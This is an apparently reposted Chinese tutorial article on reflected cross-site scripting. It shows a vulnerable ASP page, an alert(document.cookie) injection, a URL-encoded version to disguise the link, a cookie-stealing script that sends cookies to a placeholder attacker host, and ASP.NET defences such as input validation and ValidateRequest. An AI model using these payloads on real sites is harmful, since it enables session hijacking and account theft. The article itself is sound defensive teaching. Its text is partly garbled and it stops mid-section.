跨站脚本XSS–褚诚云

《程序员》文章。申明。文章仅代表个人观点,与所在公司无任何联系。

1.概述

跨站脚本Cross-Site ScriptingXSS)是最为流行的Web安全漏洞之一。据统计,2007年,跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么,什么是跨站脚本的危害性是什么/span>Web开发人员如何在开发过程中避免这类的安全漏洞是我们这篇文章要讨论的内容。

2.什么是跨站脚本

2.1 跨站脚本介绍

跨站脚本,就是攻击者可以将恶意的脚本代码注入到用户浏览的其它 页上。它有好几种类型。其中最为普遍的类型称为反射类(Reflection)的跨站脚本。让我们来看下面这个例子来具体说明XSS的机理。

以一个简单的ASP 页举例。这个ASP 页的目的很简单:用户输入自身名字,ASP动态产生一个“hello world”的 页。

testXSS.html

<html>

<head> <title>XSS Test Page</title> </head>

<body>

<form action=”testXSS.asp” method=”GET”>

XSS-test page. <br>

Please enter your name:

<input type=”text” name=”txtName” value=””></input>

<input type=”submit” value=”Hello”></input>

</form>

</body>

</html>

当用户浏览到这个 页时,就会显示:

这个ASP应用很简单,看上去没有任何功能上的问题。但是,它确存在着一个非常典型的反射类的跨站脚本漏洞。下面我们来看看攻击者是如何利用的。

在用户姓名栏中输入脚本信息:

<script>alert(”script injection/n”+document.cookie);</script><body>

发出的ASP的请求就是:

http://<server-url>/testXSS.aspxtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

那么,动态生成的ASP 页中就包括了攻击者插入的脚本

<html>

<head> <title>XSS Test Result ASP page</title> </head>

<body>

Hello world! <script>alert(”script injection/n”+document.cookie);</script>

</body>

</html>

用户的Browser就会弹出以下窗口:

跨站脚本XSS–褚诚云

跨站脚本除了Reflection类型外,还有其它几种类型,例如基于DOM的跨站脚本和存储型的跨站脚本,限於篇幅,这里就不详细讨论了。有兴趣的读者可以参见【1】。

3. 跨站脚本的危害性

看了上面这个XSS的例子,那么XSS的造成的危害在哪里面我们通过一些问答来阐述XSS的危害性。

提问1:这不是攻击者自己键入的脚本在自己的浏览环境中执行吗/strong>

其实不然,XSS的攻击手段是诱使用户点击email或 页中的URL链接,例如下面这个URL链接:

http://<server-url>/testXSS.aspxtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

这样,当一个普通用户点击的这个链接的时候,攻击者的脚本就可以在这个被攻击用户的浏览环境中执行了。

提问2:上面这个链接也太可疑了。脚本直接显示在URL中,一般的用户可能是不会点击的吧/strong>

没错。但是在真正的攻击中,以上的script会以不同的形式编码,例如下面这种链接:

http:// <server-url>/testXSS.aspxtName=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%73%63%72%69%70%74%20%69%6E%6A%65%63%74%69%6F%6E%5C%6E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E

对于这种链接,许多普通用户可能就直接点击了。尤其是如果Server-url是自己经常访问的 站的话

提问3:只是显示了document.cookie有什么危害/strong>

如果只是显示cookies的话,当然不会造成任何影响。但是,上面这个例子只是一个示范。在真正的攻击中,往往会将用户的cookies直接发送到攻击者控制的 站。例如使用以下脚本:

<script>document.location=’http://<badguy-url>/cgi-bin/cookie.cgi‘%20+document.cookie</script>

提问4:窃取了document.cookie又有什么危害/strong>

这就要从浏览器安全的基本原则:同源原则SOPSame-origin policy)讲起。简要的说,SOP意味着一个域的文档或脚本,在未经用户批准的情况下,不能获取或修改另一个域的文档的属性。为什么需要SOP肯定不希望在访问www.bad-url.com的时候它里面的脚本可以阅读www.hotmail.coml中的内容。

基于SOP,一个域存放的Cookie只能和该域的服务器打交道。例如,hotmailCookie只能给 hotmail服务器使用。其它任何 站都不能获取这个Cookie

正因为Cookie的这个特性,在许多Web应用的设计上,都是先用https来验证用户的登录名和密码,然后发送一个特殊的Session Cookie来代表用户验证过的身份。举个例子,如果hotmail存在在XSS漏洞,一个用户的hotmailsession cookie就可能被攻击者获取。攻击者然后就可以用这个session cookie,以这个用户的身份访问hotmail,从而造成敏感信息的泄漏(information disclosure)。

4.如何避免XSS安全漏洞

虽然在IE8中引入了客户端的XSS过滤器以减少XSS对用户造成的危害,但是XSS本质上是Web应用服务的漏洞,仅仅依赖客户端的保护措施是不够的。解决问题的根本是在Web应用程序的代码中消除XSS安全漏洞。

以下是在Web应用的开发中避免XSS安全漏洞的几个原则:

  • 检查所有产生动态 页的代码
  • 判定动态 页的内容是否包括不安全的输入信息
  • 对输入进行校验
  • 对输出进行编码以过滤特殊字符

采用不同的Web开发工具,实施以上原则的具体步骤也不相同。下面我们就用微软的ASP.NET来举例。

设想如下的ASP.net应用【2】:

<%@ Page Language=”C#” ValidateRequest=”false” %>

<html>

<script runat=”server”>

void btnSubmit_Click(Object sender, EventArgs e)

{

// If ValidateRequest is false, then ‘hello’ is displayed

// If ValidateRequest is true, then ASP.NET returns an exception

Response.Write(txtString.Text);

}

</script>

<body>

<form id=”form1″ runat=”server”>

<asp:TextBox id=”txtString” runat=”server”

Text=”<script>alert(’hello’);</script>” />

<asp:Button id=”btnSubmit” runat=”server”

OnClick=”btnSubmit_Click”

Text=”Submit” />

</form>

</body>

</html>

细心的读者可能注意到上面有一个特殊的设置ValidateRequest=”false”。我们以后会对它详细说明。

检查所有产生动态 页的代码

ASP.net有两种方式产生动态 页。一个是通过Response.Write,一个是通过<%=

判定动态 页的内容是否包括用户输入的信息

验证用户的输入

ValidateRequest选项

缺省情况下,在ASP.NETmachine.config文件中,validateRequest选项是打开的。ASP.NET会自动对用户输入作一定的验证。

例如,当ValidateRequest的值为true的话,如果用户输入txtstring的值为<script>alert(’hello’);</script>ASP.NET会有产生如下异常信息:

HttpRequestValidationException (0×80004005): A potentially dangerous Request.Form value was detected from the client (txtString=”<script>alert(’hello…”).]

System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName) +3307682

System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection nvc, String collectionName) +108

System.Web.HttpRequest.get_Form() +119

System.Web.HttpRequest.get_HasForm() +3309630

System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) +45

System.Web.UI.Page.DeterminePostBackMode() +65

System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +7350

System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +213

System.Web.UI.Page.ProcessRequest() +86

System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +18

System.Web.UI.Page.ProcessRequest(HttpContext context) +49

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2009年6月1日
下一篇 2009年6月2日

相关推荐